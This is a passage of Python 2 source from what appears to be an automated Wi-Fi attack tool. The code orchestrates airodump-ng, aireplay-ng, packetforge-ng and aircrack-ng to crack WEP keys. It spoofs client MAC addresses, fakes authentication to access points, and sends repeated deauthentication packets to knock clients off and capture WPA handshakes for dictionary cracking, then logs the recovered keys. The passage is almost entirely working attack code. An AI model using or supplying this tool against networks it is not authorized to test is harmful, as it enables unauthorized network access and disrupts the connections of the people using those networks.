os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng
except OSError:
pass
except UnboundLocalError:
pass
subprocess.call(['killall','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
# change mac from OLD_MAC to 'client'
OLD_MAC = THIS_MAC
print GR+'['+get_time(WEP_MAXWAIT, TIME_START)+'] '+W+'changing mac to '+GR+ client.lower() +W+'...'
subprocess.call(['ifconfig',IFACE,'down'])
subprocess.call(['macchanger','-m',client,IFACE], stdout=open(os.devnull,'w'))
subprocess.call(['ifconfig',IFACE,'up'])
print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+W+'changed mac; continuing attack'
time.sleep(0.3)
# delete airodump log files
subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\
TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs'])
subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'])
time.sleep(0.1)
# start airodump again!
cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1],'--bssid',TARGETS[index][0],\
'--output-format','csv,ivs',IFACE]
proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
time.sleep(0.3)
# should we fake-auth after spoofing a client's mac address?
#if attack_fakeauth(index):
# print '['+get_time(WEP_MAXWAIT, TIME_START)+'] fake authentication successful :)'
#else:
# print '['+get_time(WEP_MAXWAIT, TIME_START)+'] fake authentication unsuccessful :('
except KeyboardInterrupt:
# user interrupted during fakeauth
subprocess.call(['killall','aireplay-ng','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
print R+'\n[!] ^C interrupt received'
# show menu!
menu=G+' [c]ontinue with this attack ("'+TARGETS[index][8]+'")\n'
opts=G+'c'+W
# check if there's other targets to attack
for i in xrange(0,len(ATTACK)):
if index==ATTACK[i]-1:
if i < len(ATTACK) - 1:
# more to come
opts+=', '+G+'n'+W
if i == len(ATTACK)-2:
menu=menu+O+' [n]ext attack (there is 1 target remaining)\n'
else:
menu=menu+O+' [n]ext attack (there are '+str(len(ATTACK)-i-1)+' targets remaining)\n'
break
if len(WPA_CRACK) > 0 and DICT != '' and DICT != 'none':
if opts != '':
opts+=','
opts+=O+'s'+W
if len(WPA_CRACK) == 1:
menu=menu+O+' [s]kip to the WPA cracking (you have 1 handshake to crack)\n'
else:
menu=menu+O+' [s]kip to the WPA cracking (you have '+str(len(WPA_CRACK))+' handshakes to crack)\n'
if menu!= '':
opts+=', or '+R+'e'+W
menu=menu+R+' [e]xit the program completely'
print GR+'\n[+] '+W+'please select a menu option below:'
print menu
print GR+'[+] '+W+'enter option ('+opts+'):'+W,
typed=raw_input()
if typed=='c':
# start airodump and do nothing (the rest will start)
# delete airodump log files
subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\
TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs'])
subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'])
time.sleep(0.1)
# start airodump again!
cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1],'--bssid',TARGETS[index][0], \
'--output-format','csv,ivs',IFACE]
proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
time.sleep(0.3)
elif typed=='n':
# return, takes us out and we can start the next attack
return
elif typed == 's':
# skip to WPA cracking!
SKIP_TO_WPA=True
return
else:
# user selected something else (must be 'e', exit completely)
SKIP_TO_WPA=True # exits out of wep/wpa attacks
WPA_CRACK=[] # we have no wpa's to crack! on noez, it'll exit
return # gtfo
else:
# no reason to keep running! gtfo
return
# end of try: around fake auth
# keep track of all the IVS captured
total_ivs=0
oldivs=0
# loop through every WEP attack method
for wepnum in xrange(0, len(weps)):
if weps[wepnum]==True:
# reset the timer for each attack
TIME_START=time.time()
print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+ \
'] '+W+'started '+GR+wepname[wepnum]+W+' attack on "'+G+TARGETS[index][8]+W+'"; '+GR+'Ctrl+C for options'
# remove any .xor and replay files
subprocess.call('rm -rf replay_arp-*.cap *.xor',shell=True)
time.sleep(0.3)
if wepnum==0:
cmd=['aireplay-ng','-3','-b',TARGETS[index][0],'-h',client,'-x',str(WEP_PPS),IFACE]
elif wepnum==1:
cmd=['aireplay-ng','-4','-b',TARGETS[index][0],'-h',client,'-m','100','-F','-x',str(WEP_PPS),IFACE]
elif wepnum==2:
cmd=['aireplay-ng','-5','-b',TARGETS[index][0],'-h',client,'-m','100','-F','-x',str(WEP_PPS),IFACE]
elif wepnum==3:
cmd=['aireplay-ng','-2','-b',TARGETS[index][0],'-h',client,'-T','1','-F','-p','0841',IFACE]
proc_replay = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
# chopchop and frag both require replaying the arp packet, this flag lets us know when
replaying=False
# keep track of how many IVS we've captured, so we don't print every 5 seconds endlessly
while (time.time() - TIME_START) < WEP_MAXWAIT or WEP_MAXWAIT == 0 or (ivsps > 100):
try:
if proc_replay.poll() != None: # and wepnum != 0 and wepnum != 3:
# the attack stopped, it's not arp-replay or p0841 (chopchop/frag)
if wepnum == 0 or wepnum == 3:
print R+'\n['+get_time(WEP_MAXWAIT,TIME_START)+'] '+wepname[wepnum]+' attack failed'
break
# look if a .xor file was created...
proc_replay = subprocess.Popen('ls *.xor', stdout=subprocess.PIPE, \
stderr=open(os.devnull, 'w'), shell=True)
xor_file=proc_replay.communicate()[0].strip()
if xor_file == '':
# no xor file, we have failed!
print R+'\n['+get_time(WEP_MAXWAIT,TIME_START)+\
'] attack failed; '+O+'unable to generate keystream'+W
break
else:
# we have a .xor file, time to generate+replay
xor_file=xor_file.split('\n')[0]
# remove arp.cap, so we don't have over-write issues
subprocess.call(['rm','-rf',TEMPDIR+'arp.cap'])
time.sleep(0.1)
print GR+'\n['+get_time(WEP_MAXWAIT,TIME_START)+ \
'] '+G+'produced keystream, '+O+'forging with packetforge-ng...'
cmd=['packetforge-ng','-0','-a',TARGETS[index][0],'-h',client,\
'-k','192.168.1.2','-l','192.168.1.100','-y',xor_file,'-w',TEMPDIR+'arp.cap',IFACE]
proc_replay = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
proc_replay.wait()
result=proc_replay.communicate()[0]
if result == None:
result = 'none'
else:
result = result.strip()
if result.lower().find('Wrote packet'):
# remove the .xor file so we don't mistake it later on
subprocess.call(['rm','-rf',xor_file])
print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+G+'replaying keystream with arp-replay...'
cmd=['aireplay-ng','-2','-r',TEMPDIR+'arp.cap','-F',IFACE]
proc_replay = subprocess.Popen(cmd,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
replaying=True
else:
#invalid keystream
print R+'['+get_time(WEP_MAXWAIT,TIME_START)+'] unable to forge arp packet'
break
else:
# attack is still going strong
pass
ivs=get_ivs(TEMPDIR+'wep-01.csv')
if ivs==-1:
ivs=0
ivs += total_ivs # in case we got IVS from another attack
# check if it's time to start the auto-crack and we have not started cracking...
if ivs >= AUTOCRACK and started_crack==False:
started_crack=True
# overwrite the current line
print '\r'+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+W+'started cracking WEP key ('+G+'+'+\
str(AUTOCRACK)+' ivs'+W+') '
# remove the wep key output file, so we don't get a false-positive
subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'],stdout=open(os.devnull,'w'),\
stderr=open(os.devnull, 'w'))
time.sleep(0.1)
cmd='aircrack-ng -a 1 -l '+TEMPDIR+'wepkey.txt '+TEMPDIR+'wep-*.ivs -w '+DICT
proc_crack = subprocess.Popen(cmd,shell=True,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
# check if we've cracked it
if os.path.exists(TEMPDIR+'wepkey.txt'):
stop_attack=True
try:
f = open(TEMPDIR+'wepkey.txt', 'r')
pw = f.readlines()[0].strip()
f.close()
except IOError:
pw='[an unknown error occurred; check wepkey.txt]'
CRACKED += 1
print GR+'\n['+get_time(WEP_MAXWAIT,TIME_START)+'] '+G+'wep key found for "'+TARGETS[index][8]+'"!'
print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+W+'the key is "'+C + pw + W+'", saved in '+G+'log.txt'
updatesqlstatus('wep key found for "'+TARGETS[index][8]+'"!')
# only print the ascii version to the log file if it does not contain non-printable characters
if to_ascii(pw).find('non-print') == -1:
logit('cracked WEP key for "'+TARGETS[index][8]+'", the key is: "'+pw+'", in ascii: "' + to_ascii(pw) +'"')
sqllogit('WEP', TARGETS[index][8], TARGETS[index][0], pw, to_ascii(pw))
else:
logit('cracked WEP key for "'+TARGETS[index][8]+'", the key is: "'+pw+'"')
sqllogit('WEP', TARGETS[index][8], TARGETS[index][0], pw)
break # break out of this method's while
if started_crack==True and proc_crack.poll() != None:
# we were cracking, but it stopped...
#print '\r'+GR+'[+] '+O+'cracking stopped, for some reason; '+W+'restarting... '
cmd='aircrack-ng -a 1 -l '+TEMPDIR+'wepkey.txt '+TEMPDIR+'wep-*.ivs'
proc_crack = subprocess.Popen(cmd,shell=True,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
print '\r'+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+ \
'] '+W+wepname[wepnum]+' attack on "'+G+TARGETS[index][8]+W+'"',
print 'captured '+G+ str(ivs) +W+' ivs',
ivsps = (ivs-oldivs) / 5
print '('+G+str(ivsps)+W+'/sec)',
updateivps(ivsps)
if started_crack:
print 'cracking... ',
elif replaying:
print 'replaying... ',
else:
print ' ',
sys.stdout.flush()
oldivs=ivs
time.sleep(5) # wait 5 seconds
except KeyboardInterrupt:
print R+'\n['+get_time(WEP_MAXWAIT,TIME_START)+ \
'] stopping attack on "'+O+TARGETS[index][8]+R+'"...'
# show menu!
wcount=0 # count number of methods remaining
for i in xrange(wepnum+1,len(weps)):
if weps[i] == True:
wcount += 1
if wcount == 0:
menu=''
opts=''
elif wcount == 1:
menu=G+' [c]ontinue attacking; 1 method left\n'
opts=G+'c'+W
else:
menu=G+' [c]ontinue attacking; '+str(wcount)+' methods left\n'
opts=G+'c'+W
# check if there's other targets to attack
for i in xrange(0,len(ATTACK)):
if index==ATTACK[i]-1:
if i < len(ATTACK) - 1:
# more to come
if opts != '':
opts+=', '
if menu=='':
menu+=G
opts+=G+'n'+W
else:
menu+=O
opts+=O+'n'+W
if i == len(ATTACK)-2:
menu+=' [n]ext attack (there is 1 target remaining)\n'
else:
menu+=' [n]ext attack (there are '+str(len(ATTACK)-i-1)+' targets remaining)\n'
break
if len(WPA_CRACK) > 0 and DICT != '' and DICT != 'none':
if opts != '':
opts+=', '
opts+=O+'s'+W
if len(WPA_CRACK) == 1:
menu+=O+' [s]kip to the WPA cracking (you have 1 handshake to crack)\n'
else:
menu+=O+' [s]kip to the WPA cracking (you have '+str(len(WPA_CRACK))+' handshakes to crack)\n'
if menu!= '':
opts+=', or '+R+'e'+W
menu=menu+R+' [e]xit the program completely'
print GR+'\n[+] '+W+'please select a menu option below:'
print menu
print GR+'[+] '+W+'enter option ('+opts+'):'+W,
typed=raw_input()
if typed == 'c':
# continue with this attack!
try: # kill the processes
os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng
except OSError:
pass
except UnboundLocalError:
pass
try:
os.kill(proc_replay.pid, signal.SIGTERM) # aireplay-ng
except OSError:
pass
except UnboundLocalError:
pass
try:
os.kill(proc_crack.pid, signal.SIGTERM) # aircrack-ng
except OSError:
pass
except UnboundLocalError:
pass
time.sleep(0.1)
subprocess.call(['killall','airodump-ng','aireplay-ng','aircrack-ng'],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
time.sleep(0.1)
# back up the old IVS file
backup=2
while os.path.exists(TEMPDIR+'wep-0' + str(backup) + '.ivs'):
backup += 1
subprocess.call('cp '+TEMPDIR+'wep-01.ivs '+TEMPDIR+'wep-0' + str(backup) + '.ivs', shell=True)
time.sleep(0.1) # grace period
# delete old files
subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.ivs',\
TEMPDIR+'wep-01.kismet.csv',TEMPDIR+'wep-01.kismet.netxml'])
time.sleep(0.1) # grace period
# start the airodump process again
cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1],'--bssid',TARGETS[index][0],\
'--output-format','csv,ivs',IFACE]
proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
if started_crack: # we already started cracking, have to continue!
# remove the wep key output file, so we don't get a false-positive
subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'],stdout=open(os.devnull,'w'),\
stderr=open(os.devnull, 'w'))
time.sleep(0.3)
# start aircrack
cmd='aircrack-ng -a 1 -l '+TEMPDIR+'wepkey.txt '+TEMPDIR+'wep-*.ivs'
proc_crack = subprocess.Popen(cmd,shell=True,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
stop_attack=False # do NOT stop the attack!
elif typed=='n':
#do nothing, next attack starts regardless
stop_attack=True
elif typed == 's':
# skip to WPA cracking!
stop_attack=True
SKIP_TO_WPA=True
else:
# 'e' or some other option
stop_attack=True
EXIT_PROGRAM=True
else:
# no reason to keep running! gtfo
stop_attack=True
break
if WEP_MAXWAIT != 0 and (time.time() - TIME_START) >= WEP_MAXWAIT and (ivsps < 100):
wcount=0 # count number of methods remaining
for i in xrange(wepnum+1,len(weps)):
if weps[wepnum] == True:
wcount += 1
break
if wcount > 0:
print '\n'+R+'[+] '+wepname[wepnum]+' attack ran out of time',
updatesqlstatus('[+] '+wepname[wepnum]+' attack ran out of time')
# end of while loop
print W
# remember IVS so we don't start over from 0 again
total_ivs = ivs
oldivs=total_ivs
# clean up
# only kill aireplay because airodump=capturing and aircrack=cracking!
try:
os.kill(proc_replay.pid, signal.SIGTERM) # aireplay-ng
except OSError:
pass
except UnboundLocalError:
pass
# remove those pesky .xor and .cap files
subprocess.call('rm -rf '+TEMPDIR+'arp.cap replay_*.cap *.xor',shell=True)
if stop_attack:
break # break out of for-loop for each method
# end of if statement (checks if we're using the current attack method)
# end of for-loop through every method
if stop_attack == False:
# the attack stopped on it's own - ran out of time
if started_crack:
print GR+'[+] '+O+'attack unsuccessful!'+W+' unable to crack WEP key in time'
updatesqlstatus('[+] attack unsuccessful! unable to crack WEP key in time')
else:
print GR+'[+] '+O+'attack unsuccessful!'+W+' unable to generate enough IVS in time'
updatesqlstatus('[+] attack unsuccessful! unable to generate enough IVS in time')
# kill processes
try:
os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng
os.kill(proc_crack.pid, signal.SIGTERM) # aircrack-ng
os.kill(proc_replay.pid, signal.SIGTERM) # aireplay-ng
except OSError:
pass
except UnboundLocalError:
pass
# if we were using intel4965, kill wpa_supplicant (attack is over)
if HAS_INTEL4965:
subprocess.call(['killall','wpa_supplicant'], stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
# kill the temp file for wpa_supplicant as well
subprocess.call(['rm','-rf','intel4965.tmp'])
# clean up airodump
subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\
TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs'])
subprocess.call('rm -rf '+TEMPDIR+'wep-*.ivs', shell=True)
#subprocess.call('rm -rf '+TEMPDIR+'wep-*.cap', shell=True)
# change mac back
if OLD_MAC != '':
print GR+'[+] '+O+'changing mac back to '+GR+OLD_MAC.lower()+O+'...'
subprocess.call(['ifconfig',IFACE,'down'])
subprocess.call(['macchanger','-m',OLD_MAC,IFACE], stdout=open(os.devnull,'w'))
subprocess.call(['ifconfig',IFACE,'up'])
OLD_MAC=''
print GR+'[+] '+G+'mac changed back to original address'
# check if user selected to exit completely
if EXIT_PROGRAM:
print R+'[+] the program will now exit'
print W
SKIP_TO_WPA=True
WPA_CRACK=[]
def to_ascii(txt):
""" attempts to convert the hexidecimal WEP key into ascii
some passwords are stored as a string converted from hex
includes the text 'contains non-printable characters' if true, or if length is not even
"""
if len(txt) % 2 != 0:
return '[contains non-printable characters]'
s=''
wrong=False
for i in xrange(0, len(txt), 2):
ch=txt[i:i+2].decode('hex')
chi=ord(ch)
if chi >= 32 and chi <= 126 or chi >= 128 and chi <= 254:
s=s+ch
else:
wrong=True
if wrong == True:
s=s+' [contains non-printable characters]'
return s
def get_ivs(filename):
""" opens an airodump csv log file
returns the number of IVs found in the log
"""
try:
f = open(filename, 'r')
lines=f.readlines()
for line in lines:
if line.find('Authentication') == -1:
s = line.split(',')
if (len(s) > 11):
return int(s[10].strip())
f.close()
except IOError:
# print '[+] filenotfound'
pass
return -1
def attack_fakeauth_intel(index):
global TARGETS, IFACE, proc_intel
ssid=TARGETS[index][8]
f=open('fake.conf','w')
f.write('network={\n'+\
'ssid="'+ssid+'"\n'+\
'key_mgmt=NONE\n'+\
'wep_key0="fakeauth"\n'+\
'}')
f.close()
cmd='wpa_supplicant -cfake.conf -iwlan0 -Dwext -dd'
print GR+'[+] '+W+'executing command: '+G+cmd+W+''
print GR+'[+] '+W+'30-second timeout starting now...'
try:
proc_intel=pexpect.spawn(cmd)
try:
proc_intel.expect('State: ASSOCIATED -> COMPLETED', timeout=30)
print GR+'[+] '+W+'received '+G+'State: ASSOCIATED -> COMPLETED'+W
return True
except pexpect.TIMEOUT:
print R+'[+] did not receive '+O+'State: ASSOCIATED -> COMPLETED'
# kill the child process
try:
proc_intel.close(force=True)
except pexpect.ExceptionPexpect:
print GR+'[+] '+W+'received '+O+'ExceptionPexpect'+W
except OSError:
print GR+'[+] '+W+'received '+O+'OSError'+W
except OSError:
print GR+'[+] '+W+'received '+O+'OSError'+W
except OSError:
print GR+'[+] '+W+'received '+O+'OSError'+W
print R+'[!] wpa_supplicant workaround failed!'
#print R+'[!] wpa_supplicant output:'
#print ' ' + txt.strip().replace('\n','\n ')
print W
return False
def attack_fakeauth(index):
"""
attempts to fake-authenticate with the access point (index is the index of TARGETS list)
checks if SKA is required (checks if a .xor file is created) and tries to use SKA if required
* SKA IS UNTESTED *
returns True if it has successfully associated, False otherwise
start
howto:
wrap it all in a loop, doesn't take longer than 1/3rd of WEP_MAXWAIT
try fake auth
if we fake-auth'd, great, return True
if SKA is required, deauth the router,
-wait to see if a .xor appears OR we get a cilent
-yes
if there's no ska but we couldn't fake-auth.. deauth and return False...
-might make clients show up for dynamic-client-search later on
"""
global TARGETS, IFACE, THIS_MAC, WEP_MAXWAIT, TEMPDIR
if WEP_MAXWAIT != 0:
# if maxwait is not null (not endless)
AUTH_MAXWAIT = WEP_MAXWAIT / 6
else:
#if it's endless: give it three minutes
AUTH_MAXWAIT = 60*3
START_TIME=time.time()
# try to authenticate
cmd = ['aireplay-ng','-1','0','-a',TARGETS[index][0],'-T','1',IFACE] #'-h',THIS_MAC,IFACE]
proc_auth = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
proc_auth.wait()
txt=proc_auth.communicate()[0]
# we associated, yay!
if txt.lower().find('association successful') != -1:
return True
# it's SKA (Shared Key Authentication). this is a BITCH
elif txt.lower().find('switching to shared key') != -1 or txt.lower().find('rejects open-system') != -1:
print GR+'['+get_time(AUTH_MAXWAIT,START_TIME)+'] '+O+'switching to shared key authentication...'
faked=False
cmd='aireplay-ng -1 1 -a '+TARGETS[index][0]+' -T 2 '+IFACE+' > '+TEMPDIR+'temp.txt'
proc_auth = subprocess.Popen(cmd,shell=True)
# we need to loop until we get a .xor file, then fake-auth using the .xor file, and boom we're done
while time.time() - START_TIME < (AUTH_MAXWAIT / 6):
# deauth clients on the router, so they reconnect and we can get the .xor
cmd = ['aireplay-ng','-0','1','-a',TARGETS[index][0],IFACE]
subprocess.call(cmd, stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
# check if we got the xor
thexor='wep-01-' + TARGETS[index][0].replace(':','_') + '.xor'
if os.path.exists(thexor):
# we have a PRGA xor stream, tiem to replay it!
cmd = ['aireplay-ng','-1','1','-a',TARGETS[index][0],'-y',thexor,'-h',THIS_MAC,IFACE]
proc_auth = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
proc_auth.wait()
# remove the xor ( don't need it now )
subprocess.call(['rm','-rf',thexor])
# read if we successfully authenticated using the .xor
txt=proc_auth.communicate()[0]
if txt.lower().find('association successful') != -1:
faked=True
else:
# .xor file did not let us authenticate.. smells like a Broken SKA
print R+'['+sec2hms(AUTH_MAXWAIT-(time.time()-START_TIME)) + \
'] invalid .xor file: "Broken SKA?" unable to fake authenticate :('
faked=False
break
# aireplay has finished
elif proc_auth.poll() != None:
# check output file for aireplay...
tempfile= open(TEMPDIR+'temp.txt')
temptxt = tempfile.read()
if temptxt.lower().find('challenge failure') != -1:
faked=False
else: #if temptxt.lower().find('association successful') != -1:
faked=True
subprocess.call(['rm','-rf',TEMPDIR+'temp.txt'])
break
print GR+'['+get_time(AUTH_MAXWAIT, START_TIME)+'] '+W+'sent deauth; listening for client to reconnect...'
time.sleep(5)
# kill the aireplay instance in case it's still going
try:
os.kill(proc_auth.pid, signal.SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
return faked
return False
def attack_wpa(index):
""" index is the index of the TARGETS list that we are attacking
opens airodump to capture whatever happens with the bssid
sends deauth requests to the router (or any clients, if found)
-adds clients as the attack progresses,
-cycles between attacking each client indivdiually, and every client (broadcast)
waits until a handshake it captured, the user hits ctrl+c, OR the timer goes past WPA_MAXWAIT
"""
global TARGETS, CLIENTS, IFACE, WPA_CRACK, SKIP_TO_WPA, HANDSHAKES, TEMPDIR, STRIP_HANDSHAKE
# check if we already have a handshake for this SSID...
temp=TARGETS[index][8].strip()
temp=re.sub(r'[^a-zA-Z0-9]','',temp)
if os.path.exists('hs/'+temp+'.cap'):
# already have a handshake by this name...
print GR+'[+] '+R+'capture aborted '+W+'because the file '+O+temp+'.cap'+G+' already exists!'
print GR+'[+] '+W+'to re-capture this handshake, delete "'+O+temp+'.cap'+W+'" and run again'
#print R+ '[+] '+R+'aborting handshake capture'
# add the handshake to the cracking list
WPA_CRACK.append(['hs/'+temp+'.cap', TARGETS[index][8], TARGETS[index][0]])
return
TIME_START=time.time()
cli=CLIENTS.get(TARGETS[index][0],None)
if cli == None:
wpa_clients=[]
else:
wpa_clients=[cli]
wpa_client_index=0
# logit('started WPA handshake capture for "' + TARGETS[index][8] + '"')
try:
subprocess.call(['rm','-rf',TEMPDIR+'wpa-01.cap',TEMPDIR+'wpa-01.csv',TEMPDIR+'wpa-01.kismet.csv',\
TEMPDIR+'wpa-01.kismet.netxml'])
time.sleep(0.1)
cmd = ['airodump-ng','-w',TEMPDIR+'wpa','-c',TARGETS[index][1],'--bssid',TARGETS[index][0],IFACE]
proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
print GR+'['+sec2hms(WPA_MAXWAIT)+'] '+W+'starting wpa handshake capture'
got_handshake=False
while time.time() - TIME_START < WPA_MAXWAIT or WPA_MAXWAIT == 0:
# generate command-line for deauth attack
cmd = ['aireplay-ng','-0','3','-a',TARGETS[index][0]]
if len(wpa_clients) > 0:
# we have clients to attack!
if wpa_client_index < len(wpa_clients):
# index is within range, points at a real client
cmd.append('-c')
cmd.append(wpa_clients[wpa_client_index])
wpa_client_index+=1 #increment index
if wpa_client_index > len(wpa_clients):
wpa_client_index=0 # set back to zero if we go too far
cmd.append(IFACE)
proc_deauth = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
proc_deauth.wait()
print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+'] '+W+'sent 3 deauth packets; ',
sys.stdout.flush()
# check for handshake using aircrack
#crack='echo "" | aircrack-ng -a 2 -w - -e "' + TARGETS[index][8] + '" '+TEMPDIR+'wpa-01.cap'
#proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'), shell=True)
#proc_crack.wait()
#txt=proc_crack.communicate()
if has_handshake(TEMPDIR+'wpa-01.cap', TARGETS[index][8], TARGETS[index][0]):
# if txt[0].find('Passphrase not in dictionary') != -1:
# we got the handshake
got_handshake=True
# strip non alpha-numeric characters from the SSID
# so we can store a 'backup' of the handshake in a .cap file
temp=TARGETS[index][8]
temp=re.sub(r'[^a-zA-Z0-9]','',temp)
# check if the file already exists...
temp2=''
temp3=1
while os.path.exists('hs/'+temp+temp2+'.cap'):
temp2='-'+str(temp3)
temp3+=1
temp='hs/'+temp+temp2
subprocess.call(['mkdir','hs/'],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
time.sleep(1.0)
# kill the processes
try:
os.kill(proc_read.pid, signal.SIGTERM)
os.kill(proc_deauth.pid, signal.SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
# copy the cap file for safe-keeping
subprocess.call(['cp',TEMPDIR+'wpa-01.cap', temp+'.cap'])
print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+ \
'] '+W+'sent 3 deauth packets; '+G+'handshake captured!'+W+' saved as "'+G+temp+'.cap'+W+'"'
sys.stdout.flush()
# strip handshake if user requested it
if STRIP_HANDSHAKE:
# check if pyrit exists
proc_pyrit = subprocess.Popen(['which','pyrit'],stdout=subprocess.PIPE)
if proc_pyrit.communicate()[0].strip() != '':
# print/strip
print GR+'['+get_time(WPA_MAXWAIT,TIME_START)+ \
'] '+G+'stripped'+W+' handshake using '+G+'pyrit'+W
# should pyrit overwrite the old cap file? yes.
subprocess.call(['pyrit','-r',temp+'.cap','-o',temp+'.cap','strip'],\
stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
else:
# use tshark to strip, if it exists
proc_tshark = subprocess.Popen(['which','tshark'],stdout=subprocess.PIPE)
if proc_tshark.communicate()[0].strip() != '':
# print/strip
print GR+'['+get_time(WPA_MAXWAIT,TIME_START)+ \
'] '+G+'stripped'+W+' handshake using '+G+'pyrit'+W
# over-write old file
subprocess.call(['tshark','-r',temp+'.cap','-R',\
'eapol || wlan_mgt.tag.interpretation','-w',temp+'.cap.temp'],\
stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
subprocess.call(['mv',temp+'.cap.temp',temp+'.cap'])
#logit('got handshake for "'+TARGETS[index][8]+'" stored handshake in "' + temp + '.cap"')
HANDSHAKES += 1
# add the filename and SSID to the list of 'to-crack' after everything's done
WPA_CRACK.append([temp+'.cap', TARGETS[index][8], TARGETS[index][0]])
break
else:
# no handshake yet
print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+'] '+W+'sent 3 deauth packets; '+O+'no handshake yet ',
sys.stdout.flush()
time.sleep(WPA_TIMEOUT)
# check wpa-01.csv for new clients
try:
f=open(TEMPDIR+'wpa-01.csv','r')
csv=f.read().split('\n')
f.close()
except Exception:
pass
thereyet=False
for i in xrange(0, len(csv)):
if csv[i].find('Station MAC,') != -1:
thereyet=True
elif thereyet==True:
cli=csv[i].split(',')
if len(cli) > 5:
if cli[5].strip() == TARGETS[index][0]:
# we have a client
cli[0]=cli[0].strip()
try:
wpa_clients.index(cli[0])
except ValueError:
# client not in list! add it
wpa_clients.append(cli[0])
print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+\
'] '+G+'added new client: '+W+cli[0]+', '+G+'total: '+str(len(wpa_clients))+' '
if got_handshake==False:
print R+'\n['+sec2hms(0)+'] unable to capture handshake in time (' + str(WPA_MAXWAIT) + ' sec)'
except KeyboardInterrupt:
# clean up
subprocess.call(['rm','-rf',TEMPDIR+'wpa-01.cap',TEMPDIR+'wpa-01.csv',TEMPDIR+'wpa-01.kismet.csv',\
TEMPDIR+'wpa-01.kismet.netxml'])
try:
os.kill(proc_read.pid, signal.SIGTERM)
os.kill(proc_deauth.pid, signal.SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
print R+'\n['+get_time(WPA_MAXWAIT,TIME_START)+\
'] '+R+'attack on "'+O+TARGETS[index][8]+R+'" interrupted'
menu=''
opts=''
# check if there's other targets to attack
for i in xrange(0,len(ATTACK)):
if index==ATTACK[i]-1:
if i < len(ATTACK) - 1:
# more to come
opts=G+'n'+W
if i == len(ATTACK)-2:
menu=G+' [n]ext attack (there is 1 target remaining)\n'
else:
menu=G+' [n]ext attack (there are '+str(len(ATTACK)-i-1)+' targets remaining)\n'
break
if len(WPA_CRACK) > 0 and DICT != '' and DICT != 'none':
if opts != '':
opts+=','
opts+=O+'s'+W
if len(WPA_CRACK) == 1:
menu=menu+O+' [s]kip to the WPA cracking (you have 1 handshake to crack)\n'
else:
menu=menu+O+' [s]kip to the WPA cracking (you have '+str(len(WPA_CRACK))+' handshakes to crack)\n'
if menu!= '':
opts+=', or '+R+'e'+W
menu=menu+R+' [e]xit the program completely'
print GR+'\n[+] '+W+'please select a menu option below:'
print menu
print GR+'[+] '+W+'enter option ('+opts+W+'):'+W,
typed=raw_input()
if typed=='n':
#do nothing, next attack starts regardless
return
elif typed == 's':
# skip to WPA cracking!
SKIP_TO_WPA=True
return
else:
#print GR+'[+] '+R+'exiting'
#subprocess.call(['rm','-rf',TEMPDIR])
#sys.exit(0)
WPA_CRACK=[] # clear the wpa crack list
SKIP_TO_WPA=True # skip to wpa cracking (will skip past wpa cracking)
return
else:
# no reason to keep running! gtfo
return
print W
# remove airodump log files
